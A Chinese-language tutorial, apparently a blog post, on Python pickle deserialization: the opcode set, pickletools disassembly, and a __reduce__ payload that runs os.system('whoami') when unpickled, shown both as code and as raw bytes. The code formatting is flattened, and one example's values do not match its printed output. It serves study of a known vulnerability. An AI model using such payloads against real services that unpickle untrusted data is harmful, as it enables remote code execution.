Python反序列化
2024-06-23 08:29:26
什么是Python反序列化
python反序列化和php反序列化类似，相当于把程序运行时产生的变量，字典，对象实例等变换成字符串形式存储起来，以便后续调用，恢复保存前的状态
python中反序列化的库主要有两个，pickle和cpickle，这俩除了运行效率上有区别外，没什么区别
Python反序列化漏洞
pickle简介
序列化：pickle.dumps()将对象序列化为字符串、pickle.dump()将对象序列化后的字符串存储为文件
反序列化：pickle.loads()将字符串反序列化为对象、pickle.load()从文件中读取数据反序列化
使用dumps()与loads()时可以使用protocol参数指定协议版本
协议有0，1，2，3，4，5号版本，不同的python版本默认的协议版本不同。这些版本中，0号是最可读的，之后的版本为了优化加入了不可打印字符
协议是向下兼容的，0号版本也可以直接使用
pickle实际上是一门栈语言，它有不同的几种编写方式，通常我们人工编写的话，是使用protocol=0的方式来写。而读取的时候python会自动识别传入的数据使用哪种方式。
和传统语言中有变量、函数等内容不同，pickle这种堆栈语言，并没有“变量名”这个概念，所以可能有点难以理解。pickle的内容储存在如下两个位置中：
·stack 栈
·memo 一个列表，可以储存信息
pickle的常用方法有
import picklea_list = ['a','b','c']print(pickle.dumps(a_list,protocol=0))pickle.loads() #对象反序列化
pickle.load() #对象反序列化，从文件中读取数据反序列化流程分析
在挖掘反序列化漏洞之前，需要了解python反序列化的流程是怎样的
直接分析反序列化出的字符串是比较困难的，我们可以使用pickletools帮助分析
import pickle
import pickletoolsa_list = ['a','b','c']a_list_pickle = pickle.dumps(a_list,protocol=0)
print(a_list_pickle)
# 优化一个已经被打包的字符串
a_list_pickle = pickletools.optimize(a_list_pickle)
print(a_list_pickle)
# 反汇编一个已经被打包的字符串
pickletools.dis(a_list_pickle)指令集如下：（更具体可以查看pickletools.py）
MARK = b'(' # push special markobject on stack
STOP = b'.' # every pickle ends with STOP
POP = b'0' # discard topmost stack item
POP_MARK = b'1' # discard stack top through topmost markobject
DUP = b'2' # duplicate top stack item
FLOAT = b'F' # push float object; decimal string argument
INT = b'I' # push integer or bool; decimal string argument
BININT = b'J' # push four-byte signed int
BININT1 = b'K' # push 1-byte unsigned int
LONG = b'L' # push long; decimal string argument
BININT2 = b'M' # push 2-byte unsigned int
NONE = b'N' # push None
PERSID = b'P' # push persistent object; id is taken from string arg
BINPERSID = b'Q' # " " " ; " " " " stack
REDUCE = b'R' # apply callable to argtuple, both on stack
STRING = b'S' # push string; NL-terminated string argument
BINSTRING = b'T' # push string; counted binary string argument
SHORT_BINSTRING= b'U' # " " ; " " " " < 256 bytes
UNICODE = b'V' # push Unicode string; raw-unicode-escaped'd argument
BINUNICODE = b'X' # " " " ; counted UTF-8 string argument
APPEND = b'a' # append stack top to list below it
BUILD = b'b' # call __setstate__ or __dict__.update()
GLOBAL = b'c' # push self.find_class(modname, name); 2 string args
DICT = b'd' # build a dict from stack items
EMPTY_DICT = b'}' # push empty dict
APPENDS = b'e' # extend list on stack by topmost stack slice
GET = b'g' # push item from memo on stack; index is string arg
BINGET = b'h' # " " " " " " ; " " 1-byte arg
INST = b'i' # build & push class instance
LONG_BINGET = b'j' # push item from memo on stack; index is 4-byte arg
LIST = b'l' # build list from topmost stack items
EMPTY_LIST = b']' # push empty list
OBJ = b'o' # build & push class instance
PUT = b'p' # store stack top in memo; index is string arg
BINPUT = b'q' # " " " " " ; " " 1-byte arg
LONG_BINPUT = b'r' # " " " " " ; " " 4-byte arg
SETITEM = b's' # add key+value pair to dict
TUPLE = b't' # build tuple from topmost stack items
EMPTY_TUPLE = b')' # push empty tuple
SETITEMS = b'u' # modify dict by adding topmost key+value pairs
BINFLOAT = b'G' # push float; arg is 8-byte float encoding
TRUE = b'I01\n' # not an opcode; see INT docs in pickletools.py
FALSE = b'I00\n' # not an opcode; see INT docs in pickletools.py对照理解
b'\x80\x03](X\x01\x00\x00\x00aX\x01\x00\x00\x00bX\x01\x00\x00\x00ce.'0: \x80 PROTO 3 #标明使用协议版本2: ] EMPTY_LIST #将空列表压入栈3: ( MARK #将标志压入栈4: X BINUNICODE 'a' #unicode字符10: X BINUNICODE 'b'16: X BINUNICODE 'c'22: e APPENDS (MARK at 3) #将3号标志后的数据压入列表# 弹出栈中的数据，结束流程23: . STOP
highest protocol among opcodes = 2再来一个
import pickle
import pickletools
import base64class a_class():def __init__(self):self.age = 114514self.name = "QAQ"self.list = ["1919","810","qwq"]
a_class_new = a_class()
a_class_pickle = pickle.dumps(a_class_new,protocol=3)
print(a_class_pickle)
# 优化一个已经被打包的字符串
a_list_pickle = pickletools.optimize(a_class_pickle)
print(a_class_pickle)
# 反汇编一个已经被打包的字符串
pickletools.dis(a_class_pickle)b'\x80\x03c__main__\na_class\nq\x00)\x81q\x01}q\x02(X\x03\x00\x00\x00ageq\x03M\xe5\x07X\x04\x00\x00\x00nameq\x04X\x03\x00\x00\x00tmxq\x05X\x04\x00\x00\x00listq\x06]q\x07(X\x05\x00\x00\x00donotq\x08X\x06\x00\x00\x00givemeq\tX\x04\x00\x00\x00hopeq\neub.'
b'\x80\x03c__main__\na_class\nq\x00)\x81q\x01}q\x02(X\x03\x00\x00\x00ageq\x03M\xe5\x07X\x04\x00\x00\x00nameq\x04X\x03\x00\x00\x00tmxq\x05X\x04\x00\x00\x00listq\x06]q\x07(X\x05\x00\x00\x00donotq\x08X\x06\x00\x00\x00givemeq\tX\x04\x00\x00\x00hopeq\neub.'0: \x80 PROTO 3push self.find_class(modname,name);连续读取两个字符串作为参数，以\n为界# 这里就是self.find_class('__main__','a_class');# 需要注意的版本不同，find_class函数也不同2: c GLOBAL '__main__ a_class'20: q BINPUT 0
# 向栈中压入一个元组22: ) EMPTY_TUPLE
# 大意为，该指令之前的栈内容应该为一个类（2行GLOBAL创建的类），类后为一个元组（22行压入的TUPLE），调用cls.__new__(cls, *args)（即用元组中的参数创建一个实例，这里元组实际为空）23: \x81 NEWOBJ24: q BINPUT 1
# 压入一个新字典26: } EMPTY_DICT27: q BINPUT 2
# 一个标志29: ( MARK
# 压入unicode值30: X BINUNICODE 'age'38: q BINPUT 340: M BININT2 202143: X BINUNICODE 'name'52: q BINPUT 454: X BINUNICODE 'tmx'62: q BINPUT 564: X BINUNICODE 'list'73: q BINPUT 675: ] EMPTY_LIST76: q BINPUT 7
# double mark78: ( MARK79: X BINUNICODE 'donot'89: q BINPUT 891: X BINUNICODE 'giveme'102: q BINPUT 9104: X BINUNICODE 'hope'113: q BINPUT 10
# 将第78行mark后的值压入到第75行的列表115: e APPENDS (MARK at 78)
# 大意为将任意数量的键值对添加到现有字典中
# tack before: ... pydict markobject key_1 value_1 ... key_n value_n
# Stack after: ... pydict116: u SETITEMS (MARK at 29)
# 通过__setstate__或更新__dict__完成构建对象（对象为我们在23行创建的）
# 如果对象具有__setstate__方法，则调用anyobject.__setstate__（参数）
# 如果无__setstate__方法，则通过anyobject.__dict__.update(argument)更新值
# 注意这里可能产生变量覆盖117: b BUILD
# 弹出栈中的数据，结束流程118: . STOP
highest protocol among opcodes = 2漏洞分析
RCE：常用的__reduce__
ctf中常见的pickle反序列化，利用的方法大多是__reduce__
触发__reduce__的指令码为R
# pickletools.py 1955行
name='REDUCE',code='R',arg=None,stack_before=[anyobject, anyobject],stack_after=[anyobject],proto=0,doc="""Push an object built from a callable and an argument tuple.The opcode is named to remind of the __reduce__() method.Stack before: ... callable pytupleStack after: ... callable(*pytuple)The callable and the argument tuple are the first two items returnedby a __reduce__ method. Applying the callable to the argtuple issupposed to reproduce the original object, or at least get it started.If the __reduce__ method returns a 3-tuple, the last component is anargument to be passed to the object's __setstate__, and then the REDUCEopcode is followed by code to create setstate's argument, and then aBUILD opcode to apply __setstate__ to that argument.If not isinstance(callable, type), REDUCE complains unless thecallable has been registered with the copyreg module'ssafe_constructors dict, or the callable has a magic'__safe_for_unpickling__' attribute with a true value. I'm not surewhy it does this, but I've sure seen this complaint often enough whenI didn't want to <wink>."""只要在序列化中的字符串存在R指令，__reduce__方法就会被执行，无论正常程序中是否写明了__reduce__方法
import pickle
import pickletools
import base64class a_class():def __init__(self):self.age = 2021self.name = "tmx"self.list = ["donot","giveme","hope"]def __reduce__(self):return (__import__('os').system, ("whoami",))a_class_new = a_class()
a_class_pickle = pickle.dumps(a_class_new,protocol=3)
print(a_class_pickle)
# 优化一个已经被打包的字符串
a_list_pickle = pickletools.optimize(a_class_pickle)
print(a_class_pickle)
# 反汇编一个已经被打包的字符串
pickletools.dis(a_class_pickle)'''
b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.'
b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.'0: \x80 PROTO 32: c GLOBAL 'nt system'13: q BINPUT 015: X BINUNICODE 'whoami'26: q BINPUT 128: \x85 TUPLE129: q BINPUT 231: R REDUCE32: q BINPUT 334: . STOP
highest protocol among opcodes = 2
'''把生成的payload拿到无__reduce__的正常程序中，命令仍然会被执行
import pickle
import pickletools
import base64class a_class():def __init__(self):self.age = 2021self.name = "tmx"self.list = ["donot","giveme","hope"]a_class_pickle = pickle.loads(b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.')
开摆了
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